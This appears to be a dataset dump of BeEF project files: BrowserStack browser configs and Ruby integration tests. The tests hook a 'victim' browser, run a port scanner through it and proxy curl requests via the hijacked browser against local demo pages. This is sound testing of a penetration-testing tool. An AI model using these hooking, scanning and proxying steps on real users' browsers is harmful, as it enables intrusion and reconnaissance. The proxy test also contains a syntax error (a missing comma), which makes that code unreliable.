language
stringlengths 0
24
| filename
stringlengths 9
214
| code
stringlengths 99
9.93M
|
---|---|---|
YAML | beef/spec/support/browserstack/windows/win10/win10_edge_81.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 10 Edge 81"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "edge"
"browser_version": "81.0"
"os": "windows"
"os_version": "10" |
YAML | beef/spec/support/browserstack/windows/win10/win10_firefox_32.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 10 Firefox 32"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "firefox"
"browser_version": "32.0"
"os": "windows"
"os_version": "10" |
YAML | beef/spec/support/browserstack/windows/win10/win10_firefox_68esr.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 10 Firefox 68 ESR"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "firefox"
"browser_version": "68.0"
"os": "windows"
"os_version": "10" |
YAML | beef/spec/support/browserstack/windows/win10/win10_firefox_75.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 10 Firefox 75"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "firefox"
"browser_version": "75.0"
"os": "windows"
"os_version": "10" |
YAML | beef/spec/support/browserstack/windows/win10/win10_ie_11.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 10 IE 11"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "internet explorer"
"browser_version": "11.0"
"os": "windows"
"os_version": "10" |
YAML | beef/spec/support/browserstack/windows/win8/win8_chrome_22.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 8 Chrome 22"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "chrome"
"browser_version": "22.0"
"os": "windows"
"os_version": "8" |
YAML | beef/spec/support/browserstack/windows/win8/win8_chrome_81.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 8 Chrome 81"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "chrome"
"browser_version": "81.0"
"os": "windows"
"os_version": "8" |
YAML | beef/spec/support/browserstack/windows/win8/win8_edge_81.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 8 Edge 81"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "edge"
"browser_version": "81.0"
"os": "windows"
"os_version": "8" |
YAML | beef/spec/support/browserstack/windows/win8/win8_firefox_32.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 8 Firefox 32"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "firefox"
"browser_version": "32.0"
"os": "windows"
"os_version": "8" |
YAML | beef/spec/support/browserstack/windows/win8/win8_firefox_75.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 8 Firefox 75"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "firefox"
"browser_version": "75.0"
"os": "windows"
"os_version": "8" |
YAML | beef/spec/support/browserstack/windows/win8/win8_ie_10.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows 8 IE 10"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "internet explorer"
"browser_version": "10.0"
"os": "windows"
"os_version": "8" |
YAML | beef/spec/support/browserstack/windows/xp/xp_chrome_14.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows XP Chrome 14"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "chrome"
"browser_version": "14.0"
"os": "windows"
"os_version": "xp" |
YAML | beef/spec/support/browserstack/windows/xp/xp_chrome_28.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows XP Chrome 28"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "chrome"
"browser_version": "28.0"
"os": "windows"
"os_version": "xp" |
YAML | beef/spec/support/browserstack/windows/xp/xp_chrome_43.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows XP Chrome 43"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "chrome"
"browser_version": "43.0"
"os": "windows"
"os_version": "xp" |
YAML | beef/spec/support/browserstack/windows/xp/xp_firefox_16.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows XP Firefox 16"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "firefox"
"browser_version": "16.0"
"os": "windows"
"os_version": "xp" |
YAML | beef/spec/support/browserstack/windows/xp/xp_firefox_26.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows XP Firefox 26"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "firefox"
"browser_version": "26.0"
"os": "windows"
"os_version": "xp" |
YAML | beef/spec/support/browserstack/windows/xp/xp_firefox_45.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows XP Firefox 45"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "firefox"
"browser_version": "45.0"
"os": "windows"
"os_version": "xp" |
YAML | beef/spec/support/browserstack/windows/xp/xp_ie_7.config.yml | server: "hub-cloud.browserstack.com"
common_caps:
"build": "Windows XP IE 7"
"project": "BeEF"
"browserstack.local": true
"browserstack.video": false
browser_caps:
-
"browser": "internet explorer"
"browser_version": "7.0"
"os": "windows"
"os_version": "xp" |
Ruby | beef/test/integration/check_environment.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
class TC_CheckEnvironment < Test::Unit::TestCase
def test_check_env
# Add environment checks here
end
end |
Ruby | beef/test/integration/tc_debug_modules.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'
require '../common/beef_test'
class TC_DebugModules < Test::Unit::TestCase
@@token = nil
@@hb_session = nil
@@mod_debug_long_string = nil
@@mod_debug_ascii_chars = nil
@@mod_debug_test_network = nil
# NOTE: Tests within the same test class are called in the order they are defined.
# NOTE: However, test classes are run in alphabetical order by classname.
# That's why we use the prefix x_N_y, with N being the order of execution.
#
# Test RESTful API authentication with default credentials, returns the API token to be used later.
def test_1_restful_auth
response = RestClient.post "#{RESTAPI_ADMIN}/login",
{ 'username' => "#{BEEF_USER}",
'password' => "#{BEEF_PASSWD}"}.to_json,
:content_type => :json,
:accept => :json
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
success = result['success']
@@token = result['token']
assert(success)
end
# Test RESTful API hooks handler hooking a victim browser, and then retrieving his BeEF session
def test_2_restful_hooks
BeefTest.new_victim
sleep 5.0
response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}}
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
@@hb_session = result["hooked-browsers"]["online"]["0"]["session"]
assert_not_nil @@hb_session
end
# Test RESTful API modules handler, retrieving the IDs of the 3 debug modules currently in the framework
def test_3_restful_modules
response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}}
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
result.each do |mod|
case mod[1]["class"]
when "Test_return_long_string"
@@mod_debug_long_string = mod[1]["id"]
when "Test_return_ascii_chars"
@@mod_debug_ascii_chars = mod[1]["id"]
when "Test_network_request"
@@mod_debug_test_network = mod[1]["id"]
end
end
assert_not_nil @@mod_debug_long_string
assert_not_nil @@mod_debug_ascii_chars
assert_not_nil @@mod_debug_test_network
end
#
## Test debug module "Test_return_long_string" using the RESTful API
def test_return_long_string
repeat_string = "BeEF"
repeat_count = 20
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}?token=#{@@token}",
{ 'repeat_string' => repeat_string,
'repeat' => repeat_count}.to_json,
:content_type => :json,
:accept => :json
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
success = result['success']
assert success
cmd_id = result['command_id']
count = 0
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}/#{cmd_id}?token=#{@@token}"
#TODO if the response is empty, the body size is 2, basically an empty Hash.
# don't know why empty?, nil and other checks are not working.
while(response.body.size <= 2 && count < 10)
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}/#{cmd_id}?token=#{@@token}"
sleep 2
count += 1
end
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
data = JSON.parse(result['0']['data'])['data']
assert_not_nil data
assert_equal (repeat_string * repeat_count),data
end
#
## Test debug module "Test_return_ascii_chars" using the RESTful API
def test_return_ascii_chars
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}?token=#{@@token}",
{}.to_json, # module does not expect any input
:content_type => :json,
:accept => :json
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
success = result['success']
assert success
cmd_id = result['command_id']
count = 0
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}?token=#{@@token}"
#TODO if the response is empty, the body size is 2, basically an empty Hash.
# don't know why empty?, nil and other checks are not working.
while(response.body.size <= 2 && count < 10)
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}?token=#{@@token}"
sleep 2
count += 1
end
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
data = JSON.parse(result['0']['data'])['data']
assert_not_nil data
ascii_chars = ""
(32..127).each do |i| ascii_chars << i.chr end
assert_equal ascii_chars,data
end
# Test debug module "Test_network_request" using the RESTful API
def test_return_network_request
# Test same-origin request (response code and content of secret_page.html)
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}?token=#{@@token}",
#override only a few parameters, the other ones will have default values from modules's module.rb definition
{"domain" => ATTACK_DOMAIN, "port" => "3000", "path" => "/demos/secret_page.html"}.to_json,
:content_type => :json,
:accept => :json
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
success = result['success']
assert success
cmd_id = result['command_id']
count = 0
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}/#{cmd_id}?token=#{@@token}"
#TODO if the response is empty, the body size is 2, basically an empty Hash.
# don't know why empty?, nil and other checks are not working.
while(response.body.size <= 2 && count < 10)
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}/#{cmd_id}?token=#{@@token}"
sleep 2
count += 1
end
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
data = JSON.parse(result['0']['data'])['data']
assert_not_nil data
assert_equal 200, JSON.parse(data)["status_code"]
assert JSON.parse(data)["port_status"].include?("open")
end
end |
Ruby | beef/test/integration/tc_dns_rest.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'
class TC_DnsRest < Test::Unit::TestCase
class << self
def startup
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
@@headers = {:content_type => :json, :accept => :json}
response = RestClient.post("#{RESTAPI_ADMIN}/login",
json,
@@headers)
result = JSON.parse(response.body)
@@token = result['token']
$root_dir = '../../'
$:.unshift($root_dir)
require 'core/loader'
BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
BeEF::Core::Configuration.instance.load_extensions_config
@@config = BeEF::Core::Configuration.instance
end
def shutdown
$root_dir = nil
end
end
# Tests POST /api/dns/rule handler with valid input
def test_1_add_rule_good
pattern = 'foo.bar'
resource = 'A'
dns_response = ['1.2.3.4']
json = {:pattern => pattern, :resource => resource, :response => dns_response}.to_json
rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
json,
@@headers)
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
first_id = result['id']
rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
json,
@@headers)
# Verify that adding an existing rule returns its id
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
second_id = result['id']
assert_equal(first_id, second_id)
end
# Tests POST /api/dns/rule handler with invalid input
def test_2_add_rule_bad
pattern = ''
resource = 'A'
dns_response = ['1.1.1.1']
hash = {:pattern => pattern, :resource => resource, :response => dns_response}
# Test that an empty "pattern" key returns 400
assert_raise RestClient::BadRequest do
rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
hash.to_json,
@@headers)
end
hash['pattern'] = 'foo.bar.baz'
hash['resource'] = ''
# Test that an empty "resource" key returns 400
assert_raise RestClient::BadRequest do
rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
hash.to_json,
@@headers)
end
hash['resource'] = 'A'
hash['response'] = []
# Test that an empty "response" key returns 400
assert_raise RestClient::BadRequest do
rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
hash.to_json,
@@headers)
end
hash['response'] = 42
# Test that a non-array "response" key returns 400
assert_raise RestClient::BadRequest do
rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
hash.to_json,
@@headers)
end
end
=begin
# Tests POST /api/dns/rule handler with each supported RR type
def test_3_add_rule_types
pattern = 'be.ef'
resource = 'AAAA'
response = ['2001:db8:ac10:fe01::']
# Test AAAA type
rule = {'pattern' => pattern, 'resource' => resource, 'response' => response}
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
#{rule['response'][0]}$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test CNAME type
rule['resource'] = 'CNAME'
rule['response'] = ['fe.eb.']
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
#{rule['response'][0]}$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test HINFO type
rule['resource'] = 'HINFO'
rule['response'] = ['M6800', 'VMS']
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
"#{rule['response'][0]}"\s+
"#{rule['response'][1]}"$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test MINFO type
rule['resource'] = 'MINFO'
rule['response'] = ['rmail.be.ef.', 'email.be.ef.']
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
#{rule['response'][0]}\s+
#{rule['response'][1]}$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test MX type
rule['resource'] = 'MX'
rule['response'] = [10, 'mail.be.ef.']
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
#{rule['response'][0]}\s+
#{rule['response'][1]}$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test NS type
rule['resource'] = 'NS'
rule['response'] = ['ns.be.ef.']
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
#{rule['response'][0]}$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test PTR type
rule['resource'] = 'PTR'
rule['response'] = ['4.3.2.1.in-addr.arpa.']
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
#{rule['response'][0]}$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test SOA type
rule['resource'] = 'SOA'
rule['response'] = [
"ns.#{rule['pattern']}.",
"mail.#{rule['pattern']}.",
2012031500,
10800,
3600,
604800,
3600
]
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
.*
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test TXT type
rule['resource'] = 'TXT'
rule['response'] = ['b33f_is_s0_l33t']
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
"#{rule['response'][0]}"$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test WKS type
rule['resource'] = 'WKS'
rule['response'] = ['9.9.9.9', 6, 0]
regex = %r{
^#{rule['pattern']}\.\t+
\d+\t+
IN\t+
#{rule['resource']}\t+
#{rule['response'][0]}\s
0\s5\s6$
}x
add_rule(rule)
check_dns_response(regex, rule['resource'], rule['pattern'])
# Test that an invalid RR returns 400
rule['resource'] = 'BeEF'
assert_raise RestClient::BadRequest do
rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
rule.to_json,
@@headers)
end
end
=begin
# Tests GET /api/dns/rule/:id handler with valid input
def test_4_get_rule_good
pattern = 'wheres.the.beef'
resource = 'A'
dns_response = ['4.2.4.2']
json = {:pattern => pattern, :resource => resource, :response => dns_response}.to_json
rest_response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
json,
@@headers)
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
id = result['id']
rest_response = RestClient.get("#{RESTAPI_DNS}/rule/#{id}", :params => {:token => @@token})
assert_not_nil(rest_response.body)
assert_equal(200, rest_response.code)
result = JSON.parse(rest_response.body)
assert_equal(id, result['id'])
assert_equal(pattern, result['pattern'])
assert_equal(resource, result['resource'])
assert_equal(dns_response, result['response'])
end
# Tests GET /api/dns/rule/:id handler with invalid input
def test_5_get_rule_bad
id = 42
assert_raise RestClient::ResourceNotFound do
response = RestClient.get("#{RESTAPI_DNS}/rule/#{id}", :params => {:token => @@token})
end
id = '(*_*)'
assert_raise RestClient::BadRequest do
RestClient.get("#{RESTAPI_DNS}/rule/#{id}", :params => {:token => @@token})
end
end
# Tests GET /api/dns/ruleset handler
def test_6_get_ruleset
rest_response = RestClient.get("#{RESTAPI_DNS}/ruleset", :params => {:token => @@token})
assert_not_nil(rest_response.body)
assert_equal(200, rest_response.code)
result = JSON.parse(rest_response.body)
assert_equal(15, result['count'])
result['ruleset'].each do |rule|
assert(rule['id'])
assert(rule['pattern'])
assert(rule['resource'])
assert(rule['response'].length != 0)
end
end
=end
private
# Adds a new DNS rule
def add_rule(params)
response = RestClient.post("#{RESTAPI_DNS}/rule?token=#{@@token}",
params.to_json,
@@headers)
check_rest_response(response)
end
# Standard assertions for verifying response from RESTful API
def check_rest_response(response)
assert_not_nil(response.body)
assert_equal(200, response.code)
result = JSON.parse(response.body)
assert(result['success'])
assert(result['id'])
end
# Compares output of dig command against regex
def check_dns_response(regex, type, pattern)
address = @@config.get('beef.extension.dns.address')
port = @@config.get('beef.extension.dns.port')
dig_output = IO.popen(["dig", "@#{address}", "-p", "#{port}", "-t", "#{type}", "#{pattern}"], 'r+').read
assert_match(regex, dig_output)
end
end |
Ruby | beef/test/integration/tc_login.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require '../common/test_constants'
require '../common/beef_test'
require 'rspec/expectations'
class TC_Login < Test::Unit::TestCase
include RSpec::Matchers
def test_log_in
session = Capybara::Session.new(:selenium_headless)
session.visit(ATTACK_URL)
sleep 2.0
BeefTest.save_screenshot(session)
session.should have_title('BeEF Authentication')
session.fill_in 'user', :with => BEEF_USER
session.fill_in 'pass', :with => BEEF_PASSWD
BeefTest.save_screenshot(session)
session.click_button('Login')
sleep 10.0
session.should have_content('Logout')
BeefTest.save_screenshot(session)
session.driver.browser.close
end
def test_beef_test_login_function
session = BeefTest.login
session.should have_content('Logout')
BeefTest.save_screenshot(session)
session.driver.browser.close
end
def test_log_out
session = BeefTest.login
session.click_link('Logout')
sleep 2.0
session.should have_title('BeEF Authentication')
BeefTest.save_screenshot(session)
session.driver.browser.close
end
def test_beef_test_logout_function
session = BeefTest.login
session = BeefTest.logout(session)
sleep 2.0
session.should have_title('BeEF Authentication')
BeefTest.save_screenshot(session)
session.driver.browser.close
end
def test_logs_tab
session = BeefTest.login
session.click_on('Logs')
session.should have_content('Logout')
session.should have_content('Hooked Browsers')
session.should have_content('Type')
session.should have_content('Event')
session.should have_content('Date')
session.should have_content('Page')
session.should have_content('User with ip 127.0.0.1 has successfully authenticated in the application')
BeefTest.save_screenshot(session)
BeefTest.logout(session)
session.driver.browser.close
end
def test_hooking_browser
attacker = BeefTest.new_attacker
victim = BeefTest.new_victim
sleep 5.0
attacker.should have_content(VICTIM_DOMAIN)
attacker.should have_content('127.0.0.1')
attacker.click_on("127.0.0.1", match: :first)
sleep 1.0
attacker.should have_content('Details')
attacker.should have_content('Commands')
# attacker.should have_content('Rider') # Old functionality
BeefTest.save_screenshot(attacker)
BeefTest.save_screenshot(victim)
BeefTest.logout(attacker)
attacker.driver.browser.close
victim.driver.browser.close
end
end |
Ruby | beef/test/integration/tc_network_rest.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'
class TC_NetworkRest < Test::Unit::TestCase
class << self
def startup
$root_dir = '../../'
$:.unshift($root_dir)
# login and get api token
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
@@headers = {:content_type => :json, :accept => :json}
response = RestClient.post("#{RESTAPI_ADMIN}/login",
json,
@@headers)
result = JSON.parse(response.body)
@@token = result['token']
# create hooked browser and get session id
BeefTest.new_victim
sleep 5.0
response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}}
result = JSON.parse(response.body)
@@hb_session = result["hooked-browsers"]["online"]["0"]["session"]
# Retrieve Port Scanner module command ID
response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}}
result = JSON.parse(response.body)
result.each do |mod|
if mod[1]['class'] == 'Port_scanner'
@@mod_port_scanner = mod[1]["id"]
break
end
end
# Execute the Port Scanner module on the BeEF host to populate NetworkService object
# Port Scanner module works only for Chrome and Firefox
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}?token=#{@@token}",
{ 'ipHost' => "#{ATTACK_DOMAIN}",
'ports' => 3000,
'closetimeout' => 1100,
'opentimeout' => 2500,
'delay' => 600,
'debug' => false}.to_json,
:content_type => :json,
:accept => :json
result = JSON.parse(response.body)
success = result['success']
@@cmd_id = result['command_id']
sleep 15.0
end
def shutdown
$root_dir = nil
end
end
# Ensure the Port Scanner module identified the BeEF host
def test_port_scanner_results
rest_response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}/#{@@cmd_id}?token=#{@@token}"
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
raise "Port Scanner module failed to identify any open ports" unless result.to_s =~ /Port 3000 is OPEN/
end
# Tests GET /api/network/hosts handler
def test_get_all_hosts
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts?token=#{@@token}")
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert(result['hosts'])
assert_not_equal(0, result['count'])
end
# Tests GET /api/network/hosts/:sessionid handler with valid input
def test_get_hosts_valid_session
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{@@hb_session}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert(result['hosts'])
assert_not_equal(0, result['count'])
result['hosts'].each do |host|
assert_equal(@@hb_session, host['hooked_browser_id'])
end
end
# Tests GET /api/network/hosts/:sessionid handler with invalid input
def test_get_hosts_invalid_session
session_id = 'z'
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/hosts/#{session_id}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert_equal(0, result['count'])
end
# Tests GET /api/network/host/:id handler with valid input
def test_get_host_valid_id
id = 1
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal(1, result.length)
assert_equal('localhost', result.first['hostname'])
end
# Tests GET /api/network/host/:id handler with invalid input
def test_get_hosts_invalid_id
id = 'z'
assert_raise RestClient::ResourceNotFound do
RestClient.get("#{RESTAPI_NETWORK}/host/#{id}", :params => {:token => @@token})
end
end
# Tests GET /api/network/services handler
def test_get_all_services
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services?token=#{@@token}",
@@headers)
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert(result['services'])
assert_not_equal(0, result['count'])
end
# Tests GET /api/network/services/:sessionid handler with valid input
def test_get_services_valid_session
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{@@hb_session}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert(result['services'])
assert_not_equal(0, result['count'])
result['services'].each do |service|
assert_equal(@@hb_session, service['hooked_browser_id'])
end
end
# Tests GET /api/network/services/:sessionid handler with invalid input
def test_get_services_invalid_session
session_id = 'z'
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/services/#{session_id}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert(result['count'])
assert_equal(0, result['count'])
end
# Tests GET /api/network/service/:id handler with valid input
def test_get_service_valid_id
id = 1
rest_response = nil
assert_nothing_raised do
rest_response = RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token})
end
check_rest_response(rest_response)
result = JSON.parse(rest_response.body)
assert_equal(1, result.length)
assert_not_nil(result.first['type'])
end
# Tests GET /api/network/service/:id handler with invalid input
def test_get_services_invalid_id
id = 'z'
assert_raise RestClient::ResourceNotFound do
RestClient.get("#{RESTAPI_NETWORK}/service/#{id}", :params => {:token => @@token})
end
end
private
# Standard assertions for verifying response from RESTful API
def check_rest_response(response)
assert_not_nil(response.body)
assert_equal(200, response.code)
end
end |
Ruby | beef/test/integration/tc_proxy.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'
require '../common/beef_test'
class TC_Proxy < Test::Unit::TestCase
class << self
def startup
$root_dir = '../../'
$:.unshift($root_dir)
# load proxy config
require 'core/loader'
BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
config = BeEF::Core::Configuration.instance
config.load_extensions_config
@@proxy_config = config.get('beef.extension.proxy')
@@proxy = "#{@@proxy_config['address']}:#{@@proxy_config['port']}"
# set up active record
ActiveRecord::Base.establish_connection(
database: "beef.db"
adapter: "sqlite3"
)
# set headers for rest requests
@@headers = { :content_type => :json, :accept => :json }
# login and get api token
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @@headers)
result = JSON.parse(response.body)
@@token = result['token']
# create hooked browser and get session id
@@victim = BeefTest.new_victim
sleep 5.0
response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}}
result = JSON.parse(response.body)
@@hb_session = result["hooked-browsers"]["online"]["0"]["session"]
# set proxy to use hooked browser
result = set_target_zombie(@@hb_session)
end
def shutdown
@@victim.driver.browser.close
$root_dir = nil
end
# set zombie to be used as proxy
def set_target_zombie(session_id)
json = { :hb_id => session_id.to_s }.to_json
response = RestClient.post("#{RESTAPI_PROXY}/setTargetZombie?token=#{@@token}", json, @@headers)
result = JSON.parse(response.body)
return result['success']
end
end
def test_get_url_same_origin
assert_nothing_raised do
url = "http://#{VICTIM_DOMAIN}:3000/demos/secret_page.html"
cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', "#{@@proxy}", '-X', 'GET', '-isk', "#{url}"]
res = IO.popen(cmd, 'r+').read
assert_not_empty(res)
assert_not_nil(res)
raise "Proxy request failed - Unexpected response" unless res =~ /Secret Page/
end
end
def test_post_url_same_origin
assert_nothing_raised do
url = "http://#{VICTIM_DOMAIN}:3000/demos/secret_page.html"
cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', "#{@@proxy}", '-X', 'POST', '-isk', "#{url}", '-d', 'beef=beef']
res = IO.popen(cmd, 'r+').read
assert_not_empty(res)
assert_not_nil(res)
raise "Proxy request failed - Unexpected response" unless res =~ /Secret Page/
end
end
def test_get_url_cross_origin
assert_nothing_raised do
url = "http://#{ATTACK_DOMAIN}:3000/demos/plain.html"
cmd = ['curl', '--connect-timeout', '30', '--max-time', '30', '-x', "#{@@proxy}", '-X', 'GET', '-isk', "#{url}"]
res = IO.popen(cmd, 'r+').read
assert_not_empty(res)
assert_not_nil(res)
raise "Proxy request failed - Unexpected response #{@@proxy}" unless res =~ /ERROR: Cross Domain Request/
end
end
end |
